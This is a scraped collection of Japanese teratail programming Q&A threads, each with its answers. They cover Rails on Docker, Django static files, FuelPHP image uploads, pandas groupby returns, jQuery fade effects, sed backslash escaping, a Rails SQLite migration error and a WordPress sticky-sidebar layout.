docker for windows を使って Ruby on Rails のローカル環境を構築しようとしています。 docker-compose の build が正常に完了し、up してみたところ、「exited with code 7」と表示され停止しました。 ログには赤い文字で`Could not find public_suffix-0.3.2 in any of the sources`とあったのでGemfileに`'public_suffix', '3.0.2'`を追記し再度build, up してみたところ今度は`Could not find addressable-2.5.2 in any of the sources`というエラーで停止しました。 同様に追記して試すと、`Could not find io-like-0.3.0 in any of the sources`となって同じ作業の繰り返しになります。 インストールしようしている何かのバージョンが新しすぎるのか何らかのコマンドで一括で最新版に更新できるのかよくわかりません。 現状のファイルはおおむね次のとおりです。 ``` version: '3' services: web: build: ./web command: bundle exec rails s -p 3000 -b 0.0.0.0 ports: - '3000:3000' volumes: - ./app:/app stdin\_open: true tty: true ``` web/Dockerfile ``` FROM ruby:2.5 RUN apt-get update -qq && apt-get install -y build-essential mysql-client nodejs RUN mkdir /app WORKDIR /app ADD Gemfile /app/Gemfile ADD Gemfile.lock /app/Gemfile.lock RUN bundle install ADD . /app ``` Gemfile ``` source 'https://rubygems.org' gem 'rails', '5.2.0' gem 'mysql2' gem 'public\_suffix', '3.0.2' gem 'addressable', '2.5.2' ``` dockerやruby自体不慣れであまり理解しきれていない状態です。どこかおかしなところがあるのでしょうか? よろしくお願いいたします。 --- ###  追記 フォルダ階層は次のとおりです ``` app/    Ruby on Rails がインストールされています db/     MySQL永続化のためのデータです web/    Dockerfile, Gemfile, Gemfile.lock が格納されています docker-compose.yml ```
docker-compose upの際「exited with code 7」で停止する ============================================
teratail.com
2020.10
[ { "text": "Ruby/Railsに不慣れであれば自分でGemfileを書いて差し込むより`rails new`で生成する方がいいと思います。 \n\n過去に作ったことのあるRailsのDockerfileを貼っておきます。 \n\n個人的な趣味でdebianでなくalpineイメージですが・・・ \n\n\n\n```\nFROM ruby:2.5-alpine\n\n# install packages\nRUN apk add -U --no-cache bash git\n\n# install imagemagick6-dev for rmagick\n# rmagickを使う場合\n# RUN apk add --no-cache imagemagick6-dev\n\n# install bundler\nRUN gem install bundler\n\n# install rails\nRUN apk add --no-cache libxml2-dev libxslt-dev libstdc++ tzdata mariadb-client-libs nodejs \\\n ca-certificates build-base mariadb-dev ruby-dev sqlite sqlite-dev mysql-dev\nRUN gem install rails -v 5.2.0 --no-rdoc --no-ri\n\n# create rails project\nRUN rails new myproject -d mysql --bundle-skip\nWORKDIR /myproject\n# DB接続設定を挿入する場合\n# COPY database.yml config\nRUN bundle install --jobs=4 --path=vendor/bundle\n\nCMD rails s -b 0.0.0.0\n```\n\n 追記\n===\n\n\n\n> \n> volumesをコメントアウトすると正常に起動し、ブラウザには「Can't connect to local MySQL server through socket '/run/mysqld/mysqld.sock'」というエラーが表示されていますが、これはRailsのエラー画面に見えるので成功しているようです。 \n> \n> \n> \n\n\n仰る通りです。これはmysqlに接続すれば治るエラーなので大丈夫です。 \n\n\n\n> \n> alpine側にRailsがインストールされているようですがvolumesを外したのとADDをしていないのでローカル側のappフォルダは空の状態です。 \n> \n> \n> \n\n\n仰る認識の通りです。 \n\nコンテナ起動→ボリュームマウントの順序で処理されるのでホスト側ボリュームが空だとコンテナ側も空になり、動きません。 \n\n\n\n> \n> RubyMineなどでのリモートデバッグ(?)が前提になるのでしょうか? \n> \n> \n> \n\n\nいえ、そんなことはありません。 \n\n\n色々方法はあるのですが、要はボリュームマウント時にホスト側にアプリケーションのソースが用意されている必要があるわけです。 \n\n私の `Dockerfile` を前提として説明します。 \n\nまず次のコマンドを順に実行して下さい。 \n\n\n\n```\ndocker build -t myrailsimage ./web # webディレクトリにrailsのDockerfileがある場合\ndocker run -d --rm --name myrailscontainer myrailsimage\ndocker cp myrailsimage:/myproject ./myproject\ndocker stop myrailscontainer\n```\n\nこれでコンテナのrailsソースをホスト側に持ってこれます。 \n\n\n`docker-compose.yml` も合わせます。 \n\n\n\n```\nvolumes:\n - ./myproject:/myproject\n```\n\nこの状態で `docker-compose up` を試してみて下さい。 \n\n\n私はMacユーザのため、Windowsの場合勝手が違う部分を含む可能性はありますが、ご留意下さい。 \n\n", "name": "", "is_accepted": true } ]
12ee4e0187d2e7a54f51d84dfd0234c5
[さくらのクラウドのパブリックIP]:8000にアクセスするとbootstrapが適用されないデザインが崩れたWEBサイトが表示されます。その理由がわかりません。 https://qiita.com/melos/items/91dc3b45a589ea5a369b のURLを参考にして 「アプリを作成」のところまで設定しました。 ``` ssh -i ~/.ssh/id_rsa ubuntu@さくらのクラウドのパブリックIP ``` コマンドにアクセスして、git cloneで動かしたいアプリケーションをダウンロードしてきました。 そして、 ``` python manage.py runserver 0.0.0.0:8000 ``` でサーバーを立ち上げ、 ``` [さくらのクラウドのパブリックIP]:8000/アクセスしたいURL ``` とブラウザ上でアクセスするとGoogle Chrome のConsoleでbootstrap.min.jsなどがないbootstrapが適用されないWEBサイトが表示されます。 ローカルで動かしていた時はbootstrapがちゃんと適用されデザインがついていたのでなぜこうなってしまうのかわかりません。ディレクトリ構造も変更していません。 なぜこうなってしまい、どう直せば良いのでしょうか? 回答をもらった結果bootflatへのパスを確認しましたが、404エラーが出ました。 ディレクトリ構成は以下のようになっています。 ``` -PythonServer -PythonServer -logic -templates -xxx.html -boolflat.github.io -bower\_components ``` settings.pyには ``` import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) STATIC_URL = '/static/' STATICFILES_DIRS = [os.path.join(BASE_DIR,'bootflat.github.io'), ] ``` と書きました。
[さくらのクラウドのパブリックIP]:8000にアクセスするとbootstrapが適用されていない =================================================
teratail.com
2021.17
[ { "text": "ブラウザでWEBサイトのHTMLソースを表示して、bootstrap.min.jsのパスが正しいか確認して下さい。 \n\nこれらのファイルはブラウザからアクセス出来るURLに配置する必要があります。\n\n", "name": "", "is_accepted": true }, { "text": "https://qiita.com/melos/items/91dc3b45a589ea5a369b \n\n\n参考URLに書いてある通りのことを実施できていますか? 確認ポイントとしては \n\n\n1. nginx で static ファイルのlocationを適切に設定できているか\n\n\n\n```\n location /static {\n # ここのパスはあなたのDjangoプロジェクトの staticファイルがある場所を書く\n alias /path/to/your/mysite/static; # your Django project's static files - amend as required\n }\n```\n\n1. collectstatic で staticファイルを集められているか\n\n\n\n```\npython manage.py collectstatic\n```\n\n* このコマンドを実行したと時に、対象のディレクトリにstaticファイルが集められてますか?\n* そのディレクトリが上記nginxの設定で指定されていれば表示されるはずです。\n", "name": "", "is_accepted": false }, { "text": "djangoはdebug falseの時にstaticファイルの参照ができません。 \n\n\npython manage.py runserver --help を呼び出して \n\nオプションを見てみましょう \n\n\n\n```\n[root@localhost test]# python manage.py runserver --help\nusage: manage.py runserver [-h] [--version] [-v {0,1,2,3}]\n [--settings SETTINGS] [--pythonpath PYTHONPATH]\n [--traceback] [--no-color] [--ipv6] [--nothreading]\n [--noreload] [--nostatic] [--insecure]\n [addrport]\n\nStarts a lightweight Web server for development and also serves static files.\n\npositional arguments:\n addrport Optional port number, or ipaddr:port\n\noptional arguments:\n -h, --help show this help message and exit\n --version show program's version number and exit\n -v {0,1,2,3}, --verbosity {0,1,2,3}\n Verbosity level; 0=minimal output, 1=normal output,\n 2=verbose output, 3=very verbose output\n --settings SETTINGS The Python path to a settings module, e.g.\n \"myproject.settings.main\". If this isn't provided, the\n DJANGO_SETTINGS_MODULE environment variable will be\n used.\n --pythonpath PYTHONPATH\n A directory to add to the Python path, e.g.\n \"/home/djangoprojects/myproject\".\n --traceback Raise on CommandError exceptions\n --no-color Don't colorize the command output.\n --ipv6, -6 Tells Django to use an IPv6 address.\n --nothreading Tells Django to NOT use threading.\n --noreload Tells Django to NOT use the auto-reloader.\n --nostatic Tells Django to NOT automatically serve static files\n at STATIC_URL.\n --insecure Allows serving static files even if DEBUG is False.\n```\n\n \n\n--insecure            Allows serving static files even if DEBUG is False. \n\nの項目を訳すと「DEBUGがFALSEでもstaticファイルの提供を許す」とあります。 \n\n\nつまり、解決策としては \n\nDEBUG = True をsettingsファイルに記述 \n\nもしくは \n\npython manage.py runserver 0.0.0.0:8000 --insecure と記述する方法があります。\n\n", "name": "", "is_accepted": false } ]
dd6c9d9ed874dcd7fe8219671d5c8e8a
現在のコード 今できていること ・非同期でアップロードして置いて保存をかけたらデータベースに保存される。 できてないこと/やりたいこと JSにて作成しているhidden属性タグが画像読み込むたびに上書きが発生していますので phpの画像の$piy\_post->img\_id = $post["img"];で保存をかける時に最後に選択画像しかupload できていません。 解決策として考えているのは hiddenタグをimg[数字]にして phpにてpost[img]が複数ならforeachをかけて保存をかければ 一枚一枚に保存がかかると思うのですが。。。 非同期で毎回処理しているので hiddenタグのimg[数字]のようにするやり方がわかりません 何かいい方法はありませんでしょうか? ソースコードのエラーではなく ロジックの質問になりますが よろしくお願いします。 PHPは回答に記載させていただきます。 ``` <section> <?php echo Form::open(array('action'=>'/mypage/piy/add', 'enctype' => 'multipart/form-data')) ?> <div class="container clearfix"> <div class="row"> <div class="col-md-12"> <p>画像ファイルを選択してください(複数可)</p> </div> </div> <div class="row"> <div class="col-xs-2"> <span class="fileUpload btn btn-default"> ファイルを選択 <input type="file" class="uploadFile" accept="image/*" multiple/> </span> </div> </div> <hr /> <div class="row"> <div class="col-md-12" id="image-files"> <ul class="list-inline list-unstyled"></ul> </div> </div> </div> <tr> <th colspan="2" class="btn\_th"><input type="submit" name="submit" value="投稿" class="submit\_button" onclick="return check\_hope\_date()"></th> </tr> <?php echo Form::hidden("mode", "do") ?> <?php echo Form::close() ?> </section> ``` ``` <script type="text/javascript"> // bootstrapっぽいプログレスバーのテンプレート var progressTemplate = "<div class=\"list-group-item\"><div class=\"progress progress-striped active\"><div class=\"progress-bar progress-bar-info\" style=\"width: 0%;\"></div></div></div>"; $(function(){ var def = $.Deferred(); var promise = def; $(".uploadFile").change(function() { // ファイル分タスクを作成 $.each(this.files, function(i, file){ promise = promise.pipe(function(response){ var newPromise = $.Deferred(); var formData = new FormData(); formData.enctype = "multipart/form-data"; formData.append("file", file); $("#progress-container").append(progressTemplate); $.ajax({ url: "/mypage/piy/add", type: 'POST', dataType: 'text', data: formData, cache: false, contentType: false, processData: false, xhr: function() { var xhr = $.ajaxSettings.xhr(); if (xhr.upload) { xhr.upload.addEventListener('progress', function(evt) { var percent = (evt.loaded / evt.total) * 100; $("#progress-container").find(".progress-bar").width(percent + "%"); }, false); } return xhr; }, success: function(imageData, status, xhr) { var res = {}; try { res = $.parseJSON(xhr.responseText); }catch (e) {} $("#image-files ul").append("<img class='imgView' width=100 height=100 src=\"" + res.img + "\" / >"); $('<input>').attr({ type: 'hidden', name: 'img', value: res.img_id, }).appendTo('form'); }, error: function(xhr, textStatus, errorThrown) { var res = {}; try { res = $.parseJSON(xhr.responseText); } catch (e) {} alert(res.errorMessage); }, complete: function() { $("#progress-container").children().remove(); newPromise.resolve(); } }); return newPromise; }); }); def.resolve(); }); }); </script> ```
FuelPHP+JavaScript 非同期通信で画像を複数アップロードした画像の保存を書けたい ================================================
teratail.com
2020.34
[ { "text": "\n```\npublic function action\\_add()\n {\n if (empty($post['mode'])){\n $post = Input::post();\n $default_values = array();\n $post = myUtil::setDefaultPostData($post,$default_values);\n $piy_post = Model_PiyPost::forge();\n }\n\n //var\\_dump($post);\n if (empty($post['mode']))\n {\n if (isset($_FILES['file']['error']) && is_int($_FILES['file']['error'])) {\n try {\n\n switch ($_FILES['file']['error']) {\n case UPLOAD_ERR_OK:\n break;\n case UPLOAD_ERR_NO_FILE:\n throw new RuntimeException('ファイルが選択されていません');\n case UPLOAD_ERR_INI_SIZE:\n case UPLOAD_ERR_FORM_SIZE:\n throw new RuntimeException('ファイルサイズが大きすぎます');\n default:\n throw new RuntimeException('その他のエラーが発生しました');\n }\n\n // MIMEタイプチェック\n $mimeTypeCode = @exif_imagetype($_FILES['file']['tmp\\_name']);\n if (!in_array($mimeTypeCode, array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG), true)) {\n throw new RuntimeException('画像でないファイル、又は未対応の画像形式です');\n }\n\n\n // 作成したサムネイルデータを取得してbase64エンコード\n $imageFile = @base64_encode(@file_get_contents($_FILES['file']['tmp\\_name']));\n $mimeTypeStr = @image_type_to_mime_type($mimeTypeCode);\n\n if ($imageFile && $mimeTypeStr) {\n // ファイルアップロード\n // 初期オブジェクトの生成\n $default_values = array();\n $filedata = array();\n $error_flag = false;\n\n $sizes = array(\n 'L' => array('w' => 400, 'h' => 400),\n 'M' => array('w' => 200, 'h' => 200),\n 'S' => array('w' => 100, 'h' => 100),\n );\n\n $filedata = myImage::doConfirm2(\"clubmember/tmp/\", $sizes, array(\"image/jpeg\"), true);\n if (!empty($filedata['error'])) {\n parent::$_view->set_global('custom\\_error', $filedata['error']);\n $error_flag = true;\n }\n\n\n if($error_flag == false) {\n $filedatas = array(\n '0' => array(\n 'path' => $filedata['image'][0]->path,\n 'name' => $filedata['image'][0]->name,\n 'ext' => $filedata['image'][0]->ext,\n )\n );\n\n //ファイルアップロード\n $img_id = myImage::doDo($filedatas);\n if (!empty($img_id)) {\n $post = Input::post();\n $default_values = array();\n $post = myUtil::setDefaultPostData($post,$default_values);\n $piy_post->img_id = $img_id[0];\n }\n // 画像を出力\n $json = array();\n $json['img'] = \"data:\" . $mimeTypeStr . \";base64,\" . $imageFile;\n $json['img\\_id'] = $piy_post->img_id;\n\n // 画像を出力\n echo json_encode($json,JSON_UNESCAPED_UNICODE);\n //echo \"data:\" . $mimeTypeStr . \";base64,\" . $imageFile;\n }\n } else {\n // 作成したサムネイルが見つからない、MIMEタイプが取れていない際のエラー\n throw new RuntimeException('画像表示前になんらかのエラーが発生しました');\n }\n\n } catch (RuntimeException $e) {\n\n // レスポンスにエラー情報をセットする\n //header('HTTP', true, 400); // bad requestを返すことにする\n\n $json = array();\n $json['errorMessage'] = $e->getMessage();\n echo json_encode($json,JSON_UNESCAPED_UNICODE);\n exit;\n }\n }\n exit;\n\n }\n elseif ($post['mode'] == 'do')\n {\n var_dump($post);\n if(!is_array($piy_post))\n {\n $piy_post->club_member_id = $this->_club_member->id;\n $piy_post->img_id = $post[\"img\"];\n $piy_post->lang = $this->_club_member->piy_lang;\n $piy_post->house_id = $this->_club_member->house->id;\n $piy_post->approval_flag = \"H\";\n $piy_post->save();\n\n // 表示\n parent::$_view->set('content', ViewModel::forge('mypage/piy/do'));\n parent::$_view->set('title', ' | ');\n return parent::$_view;\n }\n }\n }\n```\n", "name": "", "is_accepted": true } ]
31982b96038bc42e0ef48fffadb9afdb
###  前提・実現したいこと python3.Xを使用しています。 for文の中で、読み取ったデータに対してGroupByメソッドを使用し、2つのグループに分けました。 この2つのグループを戻り値として扱いたいです。 ###  発生している問題・エラーメッセージ for文の外でreturnをすると、1つのグループデータしか戻り値が返ってこない状況です。 ``` #Groupbyによって分けられたデータ....1つ目 Bytes Time 2011-04-23 03:23:49 58.000000 2011-04-23 03:23:50 403.666667 2011-04-23 03:23:51 584.500000 2011-04-23 03:23:52 590.000000 2011-04-23 03:23:53 590.000000 2011-04-23 03:23:54 590.000000 #Groupbyによって分けられたデータ....2つめ Bytes Time 2011-04-23 03:23:49 111.666667 2011-04-23 03:23:50 60.000000 2011-04-23 03:23:51 60.000000 2011-04-23 03:23:52 60.000000 2011-04-23 03:23:53 60.000000 2011-04-23 03:23:54 60.000000 #returnによって戻ってきているデータ Bytes Time 2011-04-23 03:23:49 111.666667 2011-04-23 03:23:50 60.000000 2011-04-23 03:23:51 60.000000 2011-04-23 03:23:52 60.000000 2011-04-23 03:23:53 60.000000 2011-04-23 03:23:54 60.000000 ``` ###  該当のソースコード ``` def chomechome(): read\_data = pd.read_csv('data/data.csv', header=0, usecols=['Time', 'Sec', 'Dst', 'Bytes'], index_col=0) return read\_data def hogehoge(): group\_data = chomechome() for i, (key, group) in enumerate(group\_data.groupby(['Sec', 'Dst']), start=1): group.index = pd.to_datetime(group.index) res = group.resample("1S").mean().dropna() print(res) return res ``` ###  試したこと returnの位置を変えてみたりしました。 また、複数の戻り値を扱うときの記事を参考にしたのですが、できなかったため質問させていただきました。
戻り値が複数ある場合の処理 =============
teratail.com
2020.50
[ { "text": "動作未検証ですが、リストに格納して返すのが定番かと思います。 \n\n\n\n```\ndef hogehoge():\n group_data = chomechome()\n ret = []\n for i, (key, group) in enumerate(group_data.groupby(['Sec', 'Dst']), start=1):\n group.index = pd.to_datetime(group.index)\n res = group.resample(\"1S\").mean().dropna()\n ret.append(res)\n print(res)\n return ret # リスト\n```\n", "name": "", "is_accepted": true } ]
f0d1f8cbcfacd9b5eb4a41e6a519a04a
こんばんは jQueryでの質問です スクロールしたら.serviceがフェードインするというアニメーションをつけています ある位置までスクロールするまでは.serviceは表示されないのですが、表示されていないとき.serviceの親要素である.service-wrapperの高さが低くなってしまいます .service-wrapperにheight:80%;と高さを指定しても同じ挙動になってしまいます 何か.service-wrapperの高さを保つ方法はありませんでしょうか ``` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>MY PORTFOLIO</title> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css"> </head> <body> <header class="header"> <p class="header-left">My portfolio</p> <ul class="header-right"> <li class="header-right-li"><a href="#about">ABOUT</a></li> <li class="header-right-li"><a href="#skills">SKILLS</a></li> <li class="header-right-li"><a href="#services">SERVICES</a></li> <li class="header-right-li"><a href="#works">WORKS</a></li> </ul> </header> <section class="skills" id="skills"> <h2 class="about-h2 ">SKILLS</h2> <div class="skills-wrapper"> <div class="skill-icon "> <img class="skill-img skill-margin" src="img/html2.png" alt=""> <p class="skill-icon-name ">HTML</p> <p class="skill-setumei">Webページを作るための核になる言語です。</p> </div> <div class="skill-icon"> <img class="skill-img" src="img/css.png" alt=""> <p class="skill-icon-name">CSS</p> <p class="skill-setumei">コンテンツのデザインやレイアウトをカスタマイズして、Webサイトの見た目を良くしてくれます。</p> </div> <div class="skill-icon"> <img class="skill-img skill-margin" src="img/jQuery.png" alt=""> <p class="skill-icon-name">jQuery</p> <p class="skill-setumei">Webサイトに動きをつけます</p> </div> <div class="skill-icon"> <img class="skill-img skill-margin" src="img/sass.png" alt=""> <p class="skill-icon-name">SASS</p> <p class="skill-setumei">CSSを改良し、効率性を高めた言語です。</p> </div> </div> </section> <section class="services" id="services"> <h2 class="about-h2">SERVICES</h2> <div class="services-wrapper"> <div class="service service-1">      <i class="fas fa-laptop-code"></i> <h4>コーディング</h4> <p>お客様から頂いたデザインを元に丁寧にコーディングいたします</p> </div> <div class="service service-2">      <i class="fas fa-file-alt"></i> <h4>LP制作</h4> <p>お客様のご要望に適切に沿ったサイトを制作いたします</p> </div> </div> </section> <script src="js/jquery-3.5.1.min.js"></script> <script src="js/portfolio.js"></script> </body> </html> ``` ``` html { font-size: 62.5%; } a { color: #333; text-decoration: none; } *, *::before, *::after { box-sizing: border-box; } body { font-family: Arial, "Hiragino Kaku Gothic ProN", "Hiragino Sans", Meiryo, sans-serif; margin: 0px; background: url(../img/ocean.jpg) no-repeat fixed; background-size: cover; padding-bottom: 30px; } h1, h2, h3, h4, h5, h6 { margin: 0px; } .header { display: flex; justify-content: space-between; height: 70px; width: 100%; background-color: #333; position: fixed; z-index: 5; } .header-left { line-height: 70px; font-size: 1.5rem; color: #fff; margin-left: 20px; font-family: "Redressed"; letter-spacing: 1px; cursor: pointer; } .header-right { display: flex; } .header-right-li { text-align: center; list-style-type: none; color: #fff; height: 70px; margin: 0 30px; } .header-right-li a { font-weight: bold; font-size: 1.2rem; color: #fff; display: block; height: 100%; padding: 0px 2px; line-height: 70px; transition: 0.15s; } .header-right-li a:hover { background-color: #fff; color: #333; } .skills { width: 80%; margin: 0 auto; background-color: black; padding: 50px 4% 70px; padding-top: 70px; text-align: center; margin-bottom: 150px; } .skills h2 { font-size: 3rem; margin-bottom: 60px; color: #fff; letter-spacing: 1px; background-color: #172C45; line-height: 1.5; } .skills-wrapper { display: flex; justify-content: center; } .skills-p-1 { color: #fff; font-size: 1.8rem; margin-bottom: 80px; letter-spacing: 1px; } .skill-icon { display: inline-block; margin: 0 20px; width: 200px; } .skill-icon-name { color: #fff; font-size: 2.3rem; letter-spacing: 1px; margin-bottom: 15px; font-family: "Raleway"; font-weight: bold; } .skill-img { height: 120px; } .skill-icon:nth-of-type(2) img { height: 150px; } .skill-icon:nth-of-type(2) { position: relative; top: -17px; } .skill-margin { margin-bottom: 10px; } .skill-setumei { color: #fff; font-size: 1.8rem; line-height: 1.5; } .services { text-align: center; width: 80%; margin: 0 auto; margin-bottom: 150px; padding-top: 70px; margin-top: -70px; } .services h2 { font-size: 3rem; color: #fff; line-height: 2.5; background-color: rgba(0, 0, 0, 0.7); letter-spacing: 1px; } .services .services-wrapper { display: flex; justify-content: center; background-color: rgba(255, 255, 255, 0.7); padding: 50px 0px; } .services .service { width: 300px; height: 250px; background-color: #fff; margin: 0 50px; padding: 30px 3% 0; box-shadow: 5px 5px 15px rgba(0, 0, 0, 0.7); border-radius: 4px; } .services .service .fas { font-size: 4rem; display: block; margin-bottom: 30px; color: orange; } .services .service h4 { font-size: 2rem; margin-bottom: 20px; } .services .service p { font-size: 1.5rem; font-weight: bold; line-height: 1.5; } ``` ``` $(function(){ $("#skills").click(function(){ var skills = $(this).attr("href"); var skills_position = $(skills).offset().top(); $("html,body").animate({"scrollTop":skills_position},"fast"); }); /////////////////////////////////////////////////// $("#services").click(function(){ var services = $(this).attr("href"); var services_position = $(services).offset().top(); $("html,body").animate({"scrollTop":services_position},"fast"); }); //////////////////////////////////////////////// $(window).scroll(function(){ var service_1_position = $(".services").offset().top; if($(window).scrollTop()> service_1_position - 200) {$(".service").fadeIn();} else{$(".service").fadeOut();} }) /////////////////////////////////////////////// }); ```
jQueryアニメーションにて要素の高さを保ちたい =========================
teratail.com
2021.43
[ { "text": "<https://teratail.com/questions/20357> \n\nこちらの質問で解決いたしました ありがとうございました\n\n", "name": "", "is_accepted": true } ]
ed3d02bb430de4c89a7c3d9bd110d862
### sedコマンドで指定行の文字列を\を含む文字列に置換したい sedコマンドを利用して,指定したファイルのある行"を\含む文字列"で置換したいと思っているのですが,処理後の文字列を見てみると\が消えてしまいます. "\を含む文字列"の\の前に\を追加する(\\のようにする)ことでエスケープさせる方法は知っているのですが,"\を含む文字列"には変更を加えない方向でどうにかできないでしょうか. ### 該当のソースコード ``` str="[(\(2\))]"      / \を含む文字列をstrに代入 sed -i "1c ${str}" out.txt  / out.txtの1行目をstrで置換 ``` ### 発生している問題・エラーメッセージ ``` >less out.txt [((2))] / 1行目 \が消えている . . ``` ### 補足情報(言語/FW/ツール等のバージョンなど) bashを利用
sed で \ を含む文字列に置換したい ====================
teratail.com
2020.45
[ { "text": "多分どうやってもsedはエスケープシーケンスを解釈してしまうと思うので、文字定数を記載する際に一々\\をエスケープするのがうっとおしい場合、事前にsedで自動エスケープさせる手もありだと思います。 \n\n\n\n```\nstr='[(\\(2\\))]'\nstr=$(echo \"${str}\" | sed 's/\\\\/\\\\\\\\/g')\nsed -i \"1c ${str}\" out.txt\n```\n", "name": "", "is_accepted": false }, { "text": "`sed`じゃなくて`ed`はどうでしょうか? \n\n\n\n```\nstr=\"[(\\(2\\))]\"\ned -s out.txt <<EOF\n1c\n$str\n.\nwq\nEOF\n```\n\n \n\n`ed`は、標準エラー出力に、読み込んだバイト数、書き込んだバイト数を表示しますので、それを抑止するために`-s`を付けています。\n\n", "name": "", "is_accepted": false } ]
5e602c43ce72c727ec555b45b177b4fa
### 前提・実現したいこと cloud9でアンケートフォームを作っています ### 発生している問題・エラーメッセージ schema.rbの作成ができない エラーメッセージ == 20170820174406 CreateAnswers: migrating ==================================== -- create\_table(:answers) rake aborted! StandardError: An error has occurred, this and all later migrations canceled: SQLite3::SQLException: table "answers" already exists: CREATE TABLE "answers" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar, "email" varchar, "gender" varchar, "color" varchar, "free\_text" text, "created\_at" datetime NOT NULL, "updated\_at" datetime NOT NULL)  ### 該当のソースコード Ruby ### 試したこと rake db:migrate:reset これを打ってリセットしてから rake db:migrate を打ったんですけど、chema.rbが作成されませんでした ### 補足情報(言語/FW/ツール等のバージョンなど)
cloud9 アンケートフォーム ================
teratail.com
2021.31
[ { "text": "では`db/development.db`となっているところを`db/development.sqlite3`と変えてみてください。 \n\n\n#### 追記\n\n\ncloud9でrails new testと実行して自動で出来たdatabase.ymlです。 \n\n\n\n```\n# SQLite version 3.x\n# gem install sqlite3\n#\n# Ensure the SQLite 3 gem is defined in your Gemfile\n# gem 'sqlite3'\n#\ndefault: &default\n adapter: sqlite3\n pool: <%= ENV.fetch(\"RAILS\\_MAX\\_THREADS\") { 5 } %>\n timeout: 5000\n\ndevelopment:\n <<: *default\n database: db/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n <<: *default\n database: db/test.sqlite3\n\nproduction:\n <<: *default\n database: db/production.sqlite3\n```\n\nこんな感じで中身がはいってないですか? \n\n入ってない場合はこのコードをコピーしてdatabase.ymlの中身を入れ替えてやってみてください。 \n\n自分はこれでrake db:migrate:resetが動きました。\n\n", "name": "", "is_accepted": false } ]
ae759c22c2e07d4d9c3fddd624b1773a
Wordpressでブログのトップページを作成しております。 flexboxの2カラムレイアウトで、左側のメインボックスだけ画面上部にきたら固定して、 右側のサイドバーだけを、フッターまでスクロールさせるようにしたいのですが、 左のボックスのposition: sticky; が効かず、画面に固定されません。 親要素がoverflow: hidden だと効かなくなるそうなので確認しましたが、 それは該当しないようです。念のためにoverflow: visibleを指定しています。 ブラウザはchromeで、時々safariとfirefoxでも確認しながら作業しているんですが、 原因がわかりません。 デベロッパーツールで確認したところ、cssの記載は反映されております。 考えられる原因がほかにもありますでしょうか。 ご存知の方がいらっしゃいましたらどうかご教示ください。 お願いいたします。 ### 発生している問題・エラーメッセージ ``` エラーメッセージ ``` ### 該当のソースコード ``` <div class="lists"> <!--左枠(新着順) --> <div class="leftwrapper\_900breakpoint" id="fixedbox"> <div class="separator"> <p class="hajichi"> <img class="random\_hajichies" alt="image" /> </p> </div> <!-- barba.js 非同期画面遷移 --> <div id="barba-wrapper"> <div class="barba-container"> <!--新着記事 --> <section> <ul class="show" id="latest\_ul"> <li class=""> <p class="category"><?php $category = get\_the\_category(); if ( $category[0] ) { echo '<a class="no-barba" href="' . get\_category\_link( $category[0]->term\_id ) . '">' . $category[0]->cat\_name . '</a>'; } ?> </p> <a href="<?php the\_permalink(); ?>" class="article\_hover\_area no-barba <?php $days = 3; //Newを表示させたい期間の日数 $today = date\_i18n('U'); $entry = get\_the\_time('U'); $kiji = date('U',($today - $entry)) / 86400 ; if( $days > $kiji ){ echo 'article\_new'; } ?>" target="\_blank"> <?php if(has\_post\_thumbnail()) : ?> <?php the\_post\_thumbnail(); ?> <?php else: ?> <img src="<?php echo get\_template\_directory\_uri(); ?>/images/thumbnail.jpg"> <?php endif; ?> <div class="right\_text\_wrapper"> <p class="date font\_12px"><?php the\_date(); ?></p> <h1><?php the\_title(); ?></h1> <!-- <p><?php the\_excerpt(); ?></p> --> </div> <div class="list\_arrow"> <i class="fas fa-angle-right fa-2x"></i> </div> </a> </li> </ul> </div> <!-- ページング機能 --> <div class="tab1\_paging\_function"> <?php if (function\_exists("pagination")) { pagination($additional\_loop->max\_num\_pages); } ?> </div> </section> <!--新着記事END --> </div> </div> <!-- barba.js 非同期画面遷移END --> </div> <!--左枠END --> <!--右枠 -->      <div class="rightwrapper\_900breakpoint"> <!--人気記事 --> <section> <ul id="popular\_ul"> <h2 class="ranking\_title">人気記事ランキングTOP5</h2> <!--人気記事ループ --> <?php $args = array( 'post\_type' => 'post', 'meta\_key' => 'post\_views\_count', 'orderby' => 'meta\_value\_num', 'order'=>'DESC', 'posts\_per\_page' => 5, ); $the\_query = new WP\_Query( $args ); if($the\_query->have\_posts()): $count=1; // ループの前に最初の数字を代入 $cat = get\_the\_category(); // カテゴリ名を代入 while($the\_query->have\_posts()): $the\_query->the\_post(); ?> <?php echo ' <li> <p class="category">'; ?> <?php $category = get\_the\_category(); if ( $category[0] ) { echo '<a class="no-barba" href="' . get\_category\_link( $category[0]->term\_id ) . '">' . $category[0]->cat\_name . '</a>'; } ?> <?php echo '</p> <a href="'.get\_permalink().'" class="article\_hover\_area jet" target="\_blank"> <div class="popular\_ranking\_number"> <p>'; ?> <?php echo $count; ?> <?php echo '</p> </div>'; ?> <?php the\_post\_thumbnail( 'thumbnail' ); ?> <?php echo '<div class="right\_text\_wrapper"> <p class="date font\_12px">2019.1.15</p> <h1>'.get\_the\_title().'</h1> </div> <div class="list\_arrow"> <i class="fas fa-angle-right fa-2x"></i> </div> </a> </li>'; ?> <?php $count++; endwhile; endif; wp\_reset\_postdata(); ?> <!--人気記事ループEND --> </ul> </section> <!--人気記事END --> <div id="leftwrapper\_under\_ad"> <a href="" class="jet"> <img src="<?php echo get\_template\_directory\_uri(); ?>/images/ado.png" alt="image" /> </a> </div> <!--前へ次へボタン --> <!-- <div class="prev\_next\_button"> <ul id="tab\_prev\_next"> <li class="active jet"> <?php previous\_posts\_link(); ?> </li> <li> <?php next\_posts\_link(); ?> </li> </ul> </div> --> <!--前へ次へボタンEND --> <!--検索バーエリア --> <div class="before\_footer\_area"> <section class="form\_wrapper"> <h2> キーワードを入力 <i class="fas fa-comment"></i></h2> <!-- <form id="form" action="自分のサイトURL" autocomplete="off"> <input id="sbox" id="s" name="s" type="text" placeholder=" search" /> <button id="sbtn" type="submit"> <img src="<?php echo get\_template\_directory\_uri(); ?>/images/search.png" width="40px" height="40px" alt="送信"/> </button> </form> --> <?php get\_search\_form(); ?> </section> </div> <!--検索バーエリアEND --> <!-- タグ一覧エリア --> 